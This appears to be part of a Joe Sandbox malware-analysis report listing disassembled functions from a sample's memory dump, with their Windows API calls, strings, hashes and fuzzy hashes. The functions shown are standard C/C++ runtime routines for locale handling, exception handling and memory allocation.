Opcode ID: 77ea1443373636ce9c6385b5fcd5abb3b330277f75d3d813c7ad3b832e09d4ba
Instruction ID: a77b1807e77199eff7a30aefdfe913daa1513ce3fa1fe404cdc3e68e3cf591f3
Opcode Fuzzy Hash: 77ea1443373636ce9c6385b5fcd5abb3b330277f75d3d813c7ad3b832e09d4ba
Instruction Fuzzy Hash: FF71F87293024A6FDF299FA48C82FAFB7B9DF45310F150059E944B7242D7759CA0CB51

Function 0022DE85 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0022DECC
__alloca_probe_16.LIBCMT ref: 0022DEF8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0022DF37
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0022DF54
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0022DF93
__alloca_probe_16.LIBCMT ref: 0022DFB0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0022DFF2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0022E015

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 4c068d61e97adb24429eacd47a5f5691f4dd4e23b3c31fca3d52657dfa16a9e4
Instruction ID: 89950e66e1e7595f73e5d2471849ea4cf1da5f15be1750b1ef41ca9c0f1f1258
Opcode Fuzzy Hash: 4c068d61e97adb24429eacd47a5f5691f4dd4e23b3c31fca3d52657dfa16a9e4
Instruction Fuzzy Hash: 2051D472920226BFEF204FE0EC45FAA7BA9EF44780F114425F911AA150D7B4DE219B54

Function 0023D7EB Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0023D871

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 90a798cb3167070a9428d5a8ad016659465e7669ef58dc39ee64ab71c5640075
Instruction ID: 3190abb938c0f5b758e989a418c3d18af350b9def9a9eeebebc4a859e9c5212b
Opcode Fuzzy Hash: 90a798cb3167070a9428d5a8ad016659465e7669ef58dc39ee64ab71c5640075
Instruction Fuzzy Hash: 42B17AB2E243569FDB15CF28DC82BEEBBA5EF15310F144155E944AB282D370A921CBA0

Function 0022EE00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0022EE37
___except_validate_context_record.LIBVCRUNTIME ref: 0022EE3F
_ValidateLocalCookies.LIBCMT ref: 0022EEC8
__IsNonwritableInCurrentImage.LIBCMT ref: 0022EEF3
_ValidateLocalCookies.LIBCMT ref: 0022EF48

Strings

csm, xrefs: 0022EEDD

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ad637540a7b5646bc0f00c4f08d7a01b2613ab558253f0e6d900155f45e38cbf
Instruction ID: e72c0c2e193a5776cd15d3e4c6090d2940bbf3510cc04673f5e240b3499a8810
Opcode Fuzzy Hash: ad637540a7b5646bc0f00c4f08d7a01b2613ab558253f0e6d900155f45e38cbf
Instruction Fuzzy Hash: 1D41E934E20229ABCF10DFA8D845A9EBFB5AF45324F168065F8149B352D731DE21DF91

Function 0022DD27 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(00256958,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0022DD3B
AcquireSRWLockExclusive.KERNEL32(00000008,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0022DD5A
AcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DD88
TryAcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DDE3
TryAcquireSRWLockExclusive.KERNEL32(00000008,ios_base::badbit set,?,?,00000000,0024AD5D,000000FF,00000000,00229652,?,?,?,?,?,?,00000000), ref: 0022DDFA

Strings

ios_base::badbit set, xrefs: 0022DD71

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: ios_base::badbit set
API String ID: 66001078-3882152299
Opcode ID: a64d147452ff26227a70d38b6c82082fc3297f7a6e8053c37788ef63582e4859
Instruction ID: 983be9aeb6471bf1d9725b9ad3277ba66d42b1dc639005d003c8da89954ad2d2
Opcode Fuzzy Hash: a64d147452ff26227a70d38b6c82082fc3297f7a6e8053c37788ef63582e4859
Instruction Fuzzy Hash: CF417D32920A27EFCB20DFA4E5849BAB3F4FF18311B514919D456DB540D770FA61CB50

Function 0023B8B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0023B9C1,002234FA,?,00000000,0022A3DD,002234FC,?,0023B596,00000022,FlsSetValue,0024E054,0%,0022A3DD), ref: 0023B973

Strings

api-ms-, xrefs: 0023B909
ext-ms-, xrefs: 0023B91D

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d4cccbc1855d307a3b7bf5be4c47e850d7a1a139ccac137ecc744e01a2c1b45b
Instruction ID: 3cbd70f9f200289031854e3fd5a0426be057d20a68fd37b401bec59be8cfd047
Opcode Fuzzy Hash: d4cccbc1855d307a3b7bf5be4c47e850d7a1a139ccac137ecc744e01a2c1b45b
Instruction Fuzzy Hash: 3C21D5B2A61316BBC7239F20EC45B5A7768DF517B1F250110EB15A72D0D770EE10CAD0

Function 0022B857 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022B85E
std::_Lockit::_Lockit.LIBCPMT ref: 0022B868
int.LIBCPMT ref: 0022B87F

Part of subcall function 0022A613: std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
Part of subcall function 0022A613: std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

codecvt.LIBCPMT ref: 0022B8A2
std::_Lockit::~_Lockit.LIBCPMT ref: 0022B8D9

Strings

py%, xrefs: 0022B873

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID: py%
API String ID: 3716348337-508143546
Opcode ID: 9a5a12544ee1248371d6425e778b3c0a02bc814f2bc9becc665d2ecb0fa5424c
Instruction ID: 2de25f5d20141fe9068a9a9c7fcb0189ead4195dc74ccc324692710c3dbd0aa2
Opcode Fuzzy Hash: 9a5a12544ee1248371d6425e778b3c0a02bc814f2bc9becc665d2ecb0fa5424c
Instruction Fuzzy Hash: D601E131C2412AABCB06EFE4B8556BD7769AF44310F144809F40067291CF709E208F92

Function 0022E13C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0022E142
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0022E150
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0022E161

Strings

GetTempPath2W, xrefs: 0022E156
kernel32.dll, xrefs: 0022E13D
GetSystemTimePreciseAsFileTime, xrefs: 0022E14A

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 675fddd07030a209898f6e8aaf1c0342a05fe1b508bcf771858d80cbbb64ce1a
Instruction ID: 95cfd17ce84810cf8125ed2f46aba00e71eacd0c7115338ceed3e167d0c9d5f0
Opcode Fuzzy Hash: 675fddd07030a209898f6e8aaf1c0342a05fe1b508bcf771858d80cbbb64ce1a
Instruction Fuzzy Hash: 8BD0A731972310DB8340DF707D0D95A3AB4EB0E3833004011FC00D2190F7B445288A9C

Function 002438AD Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93dbfa12da62e60765a510b6d88024858f58765c5ea2624e50d3987c8276ce87
Instruction ID: eb2d29dc1cd2cb80ee4d629547f0a49aaff5bd7d7b4a4177999575b335622faa
Opcode Fuzzy Hash: 93dbfa12da62e60765a510b6d88024858f58765c5ea2624e50d3987c8276ce87
Instruction Fuzzy Hash: 91B145B0A24345AFDB19DF98D885BAEBBF5FF05314F144159E800AB282D7B09E61CF64

Function 00225640 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 352COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0022589C
Concurrency::cancel_current_task.LIBCPMT ref: 00225A5B

Strings

true, xrefs: 00225784, 00225797, 002257DD, 002257F8, 00225994, 002259A7, 002259ED, 00225A08
,, xrefs: 0022585C
false, xrefs: 002256CC, 002256E7, 0022572D, 00225748, 002258E9, 002258F7, 0022593D, 00225958

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Concurrency::cancel_current_task_strlen
String ID: ,$false$true
API String ID: 575380510-760133229
Opcode ID: c2c9e11da58d3365b48c9473d08f3df2eaeafe580c79a304ed0c64e5fdb8e3d0
Instruction ID: 67b658acc71b4a85aae56f8d020933a757bd890d7a35c446cffcfc82e970dc4c
Opcode Fuzzy Hash: c2c9e11da58d3365b48c9473d08f3df2eaeafe580c79a304ed0c64e5fdb8e3d0
Instruction Fuzzy Hash: 8DC1A7B1514715AFD3109FA4DC85B6BB7E8EF94304F04892CF9858B242F775D928CB92

Function 00239664 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0023965B,0022EBD7,0022D9C8), ref: 00239672
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00239680
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00239699
SetLastError.KERNEL32(00000000,0023965B,0022EBD7,0022D9C8), ref: 002396EB

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: dceb5650875a441887e199728d33c3272ecc3bd3f965175c0dcacbf9c88c1d46
Instruction ID: 9a0479cf4c5f62f92e00046787275586a3c2dc301a64900aa588e2e6412fafc5
Opcode Fuzzy Hash: dceb5650875a441887e199728d33c3272ecc3bd3f965175c0dcacbf9c88c1d46
Instruction Fuzzy Hash: A201F9B213A7226FA6152EB4BC4F95B275CEB027B6B204229F011550F1EFE18CB09944

Function 00239F2C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0023A04B
CallUnexpected.LIBVCRUNTIME ref: 0023A2C4

Strings

csm, xrefs: 0023A082
csm, xrefs: 00239FD6
csm, xrefs: 00239F69

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: b7e3fe12e4399db7d84a781b41ba336c02e8243daeeef7236eba1db9b10cc52f
Instruction ID: d0d65f99e3fefa3da1181a308976644bf067331bfb20f6936c404196e748fdf2
Opcode Fuzzy Hash: b7e3fe12e4399db7d84a781b41ba336c02e8243daeeef7236eba1db9b10cc52f
Instruction Fuzzy Hash: 43B1AFB182020AEFCF18DFA5D8819AEB7B5FF15300F104169E8956B212D772DA71CF92

Function 00223BE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00223BFC
std::_Lockit::_Lockit.LIBCPMT ref: 00223C1A
std::_Lockit::~_Lockit.LIBCPMT ref: 00223C3C
std::_Lockit::~_Lockit.LIBCPMT ref: 00223CAA

Strings

ios_base::badbit set, xrefs: 00223BE2

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: ios_base::badbit set
API String ID: 593203224-3882152299
Opcode ID: 433e5bd9206be2e2b10a36e80cf6bebdd98765e8a1afc9d30278a27b4a74b3dd
Instruction ID: 0134cb67cb307559ac5be8478ef50d2fd136517f82f1861752df98cf6659dc1f
Opcode Fuzzy Hash: 433e5bd9206be2e2b10a36e80cf6bebdd98765e8a1afc9d30278a27b4a74b3dd
Instruction Fuzzy Hash: 8A21BF71918324AFC710EF94F849A2AB7A0FF48725F05455EE8885B3A1D734AE60CF82

Function 0022A5A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022A5AD
std::_Lockit::_Lockit.LIBCPMT ref: 0022A5BA
std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

Part of subcall function 00229CA8: _Yarn.LIBCPMT ref: 00229CC8
Part of subcall function 00229CA8: _Yarn.LIBCPMT ref: 00229CEC

Strings

bad locale name, xrefs: 0022A608

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Yarn$H_prolog3Lockit::~_
String ID: bad locale name
API String ID: 3084819986-1405518554
Opcode ID: 9516cc92970077acfa37d27b4936916a134d917c26c7667d78d0d51efe35a421
Instruction ID: 46bf87dcb83704056d16462f5728c5e456043b6190223753f2988ff032d05c4b
Opcode Fuzzy Hash: 9516cc92970077acfa37d27b4936916a134d917c26c7667d78d0d51efe35a421
Instruction Fuzzy Hash: BF119371825754EFC720DFA9F481686BBE4FF28310F50496EE08A83641D770AA94CF9A

Function 002340E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0024AD7A,000000FF,?,002341AA,00234091,?,00234246,00000000), ref: 0023411E
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,00000000,0024AD7A,000000FF,?,002341AA,00234091,?,00234246,00000000), ref: 00234130
FreeLibrary.KERNEL32(00000000,?,?,00000000,0024AD7A,000000FF,?,002341AA,00234091,?,00234246,00000000), ref: 00234152

Strings

mscoree.dll, xrefs: 00234117
CorExitProcess, xrefs: 00234128

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f5e0ba138416c4077aed1e46c365a655d2ddfdd23ba81a92f8bd2f28aa878953
Instruction ID: 94c8e16026386b0af18a687ec4842f07c54bb3f819f2711b7812489d1063711f
Opcode Fuzzy Hash: f5e0ba138416c4077aed1e46c365a655d2ddfdd23ba81a92f8bd2f28aa878953
Instruction Fuzzy Hash: 33012B31A60719EFDB019F50DC0DFAEB7B8FB04B52F004125F811A26E0DB74A910CA84

Function 0023C086 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0023C10B
__alloca_probe_16.LIBCMT ref: 0023C1D4
__freea.LIBCMT ref: 0023C23B

Part of subcall function 0023A8D1: HeapAlloc.KERNEL32(00000000,0022A3DD,002234FA,?,0022ECE1,002234FC,002234FA,?,?,?,0022A03F,0022A3DD,002234FE,002234FA,002234FA,002234FA), ref: 0023A903

__freea.LIBCMT ref: 0023C24E
__freea.LIBCMT ref: 0023C25B

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 72512c2d1252951d69994532cf075320b3ecae3d6c00e7d8f20f29e35e517a56
Instruction ID: 6afc38ec4f385b5b513006932c6fc6e834e9a16d5d2f527f7e78d48ef149e196
Opcode Fuzzy Hash: 72512c2d1252951d69994532cf075320b3ecae3d6c00e7d8f20f29e35e517a56
Instruction Fuzzy Hash: 2851B5F262024AAFDF119EA4DC42DBB76A9EF84710F250129FD08E6101EB70DD309BA0

Function 00229ECE Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00229ED5
std::_Lockit::_Lockit.LIBCPMT ref: 00229EE0
std::_Lockit::~_Lockit.LIBCPMT ref: 00229F4E

Part of subcall function 00229DA2: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00229DBA

std::locale::_Setgloballocale.LIBCPMT ref: 00229EFB
_Yarn.LIBCPMT ref: 00229F11

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858689292.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858711979.0000000000256000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858739351.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2858765680.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 030009353e09b4a5398f347f646ff3671e75d97e8c9312a7752bf6188406d4e0
Instruction ID: cc8de1720c24839e8cc75d1491c86d65bd22d12fed68d572badc15032244bd34
Opcode Fuzzy Hash: 030009353e09b4a5398f347f646ff3671e75d97e8c9312a7752bf6188406d4e0
Instruction Fuzzy Hash: 1501BC35A25220ABC70AEFA0F95967C7BA1FF85351F144049E80197381CF34AEA2DF99

Function 00225D40 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 483COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0022605C
_strcspn.LIBCMT ref: 00226081

Strings

invalid string position, xrefs: 00225FD0
., xrefs: 00226066

Memory Dump Source

Source File: 0000000A.00000002.2858660614.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 0000000A.00000002.2858640081.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
